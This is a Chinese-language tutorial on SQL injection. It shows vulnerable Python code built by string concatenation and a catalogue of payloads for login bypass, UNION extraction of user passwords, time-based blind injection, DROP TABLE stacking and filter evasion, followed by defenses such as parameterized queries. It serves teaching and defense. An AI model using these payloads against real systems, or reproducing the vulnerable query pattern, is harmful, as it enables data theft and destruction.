Web安全之SQL注入漏洞
字数 2180 2025-08-10 10:14:26
SQL注入漏洞全面解析与防御指南
0x0 SQL注入漏洞概述
SQL注入漏洞是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL代码来执行未经授权的数据库操作。其核心原理是应用程序未对用户输入进行充分验证和过滤,导致攻击者可以构造特定输入绕过安全机制直接操作数据库。
0x1 SQL注入产生原因
SQL注入产生的根本原因是应用程序将用户输入直接拼接到SQL语句中而未做任何处理。典型示例:
import mysql.connector
def login(username, password):
conn = mysql.connector.connect(
host="localhost",
user="root",
password="password",
database="mydatabase"
)
cursor = conn.cursor()
# 危险:直接拼接用户输入
sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
cursor.execute(sql)
result = cursor.fetchall()
if len(result) > 0:
print("登录成功")
else:
print("登录失败")
cursor.close()
conn.close()
username = input("请输入用户名:")
password = input("请输入密码:")
login(username, password)
攻击者可输入用户名 ' OR '1'='1 和任意密码,构造的SQL语句:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password'
由于 '1'='1' 恒为真,此语句会返回所有用户信息,实现登录绕过。
0x2 SQL注入类型
基于错误的注入
利用应用程序返回的错误信息获取数据库敏感信息。示例:
def search(keyword):
conn = mysql.connector.connect(...)
cursor = conn.cursor()
sql = "SELECT * FROM products WHERE name LIKE '%" + keyword + "%'"
try:
cursor.execute(sql)
result = cursor.fetchall()
# 显示结果
except mysql.connector.Error as e:
print("发生错误:", e) # 泄露敏感信息
cursor.close()
conn.close()
攻击输入:' OR 1=1 UNION SELECT table_name, column_name FROM information_schema.columns --
基于布尔的注入
利用应用程序返回的布尔值判断条件是否成立。示例:
def get_user_info(user_id):
conn = mysql.connector.connect(...)
cursor = conn.cursor()
sql = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(sql)
result = cursor.fetchall()
# 显示结果
攻击输入:1' OR 1=1 --
基于时间的盲注
利用响应时间判断条件是否成立。示例:
def get_user_info(user_id):
start_time = time.time()
cursor.execute(sql)
end_time = time.time()
# 计算响应时间
攻击输入:1' AND SLEEP(5) --
堆叠注入
执行多个SQL语句。示例:
def login(username, password):
sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
cursor.execute(sql)
攻击输入:' OR 1=1; DROP TABLE users; --
0x3 常见注入点
- 用户输入字段(表单、搜索框等)
- URL参数
- Cookie值
- HTTP头部
- 隐藏表单字段
- 数据库存储过程和函数参数
0x4 测试符号与Payload
常用测试符号
- 单引号
'- 终止字符串 - 双引号
"- 终止标识符 - 分号
;- 语句分隔符 - 注释符
--,#,/* */ - 逻辑运算符
AND,OR
常用测试Payload
- 基础绕过:
' OR 1=1 -- - 联合查询:
' UNION SELECT username, password FROM users -- - 信息收集:
' OR 1=1 UNION SELECT NULL, table_name FROM information_schema.tables --' OR 1=1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' --
- 管理员账户获取:
' UNION SELECT username, password FROM users WHERE username='admin' --
0x5 数据库识别技术
判断数据库类型
-
通过错误消息:
- MySQL:包含"SQL syntax"或"Unknown column"
- SQL Server:包含"Unclosed quotation mark"或"Invalid object name"
-
通过特定函数:
- MySQL:
VERSION() - SQL Server:
@@VERSION - Oracle:
SELECT * FROM v$version
- MySQL:
获取数据库信息
-
版本信息:
- MySQL:
SELECT VERSION() - SQL Server:
SELECT @@VERSION - Oracle:
SELECT * FROM v$version
- MySQL:
-
当前数据库名:
- MySQL:
SELECT database() - SQL Server:
SELECT DB_NAME() - Oracle:
SELECT ora_database_name FROM dual
- MySQL:
0x6 字段数判断技术
-
ORDER BY法:ORDER BY 1 ORDER BY 2 ORDER BY 3 ...直到出现错误,字段数=最大成功数字
-
UNION SELECT法:UNION SELECT NULL UNION SELECT NULL, NULL UNION SELECT NULL, NULL, NULL ...直到列数匹配
0x7 表名和列名查询
MySQL
SELECT table_name FROM information_schema.tables WHERE table_schema='database_name'
SELECT column_name FROM information_schema.columns WHERE table_schema='database_name' AND table_name='table_name'
SQL Server
SELECT name FROM sys.tables WHERE type='U'
SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('table_name')
Oracle
SELECT table_name FROM all_tables WHERE owner='schema_name'
SELECT column_name FROM all_tab_columns WHERE owner='schema_name' AND table_name='table_name'
0x8 绕过技术
-
注释绕过:
' OR 1=1 --' OR 1=1 #- MySQL特有:
/*!UNION*/ SELECT 1,2,3
-
编码绕过:
- URL编码:
%27OR%201=1-- - HTML实体:
' OR 1=1 -- - Unicode编码:
\u0027 OR 1=1 --
- URL编码:
-
大小写/混写:
' Or 1=1 --' oR 1=1 --
-
字符串拼接:
' + 'OR' + '1'='1
-
等价函数替换:
OR 1=1→OR 9=9SLEEP(5)→BENCHMARK(10000000,MD5(NOW()))
0x9 防御措施
-
参数化查询(预编译语句)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password)) -
输入验证与过滤
- 白名单验证(如只允许字母数字)
- 类型检查(如数字字段只接受数字)
-
最小权限原则
- 数据库用户只授予必要权限
-
错误处理
- 不向用户显示详细错误信息
-
Web应用防火墙(WAF)
- 过滤常见攻击模式
-
ORM框架
- 使用SQLAlchemy等ORM框架自动处理参数
-
定期安全测试
- 使用自动化工具进行渗透测试
0xA 总结
SQL注入是危害极大的Web安全漏洞,攻击者可通过精心构造的输入获取敏感数据、破坏数据甚至控制服务器。防御需要从开发阶段开始,采用参数化查询、严格输入验证、最小权限等多层防护措施,并保持持续的安全意识教育。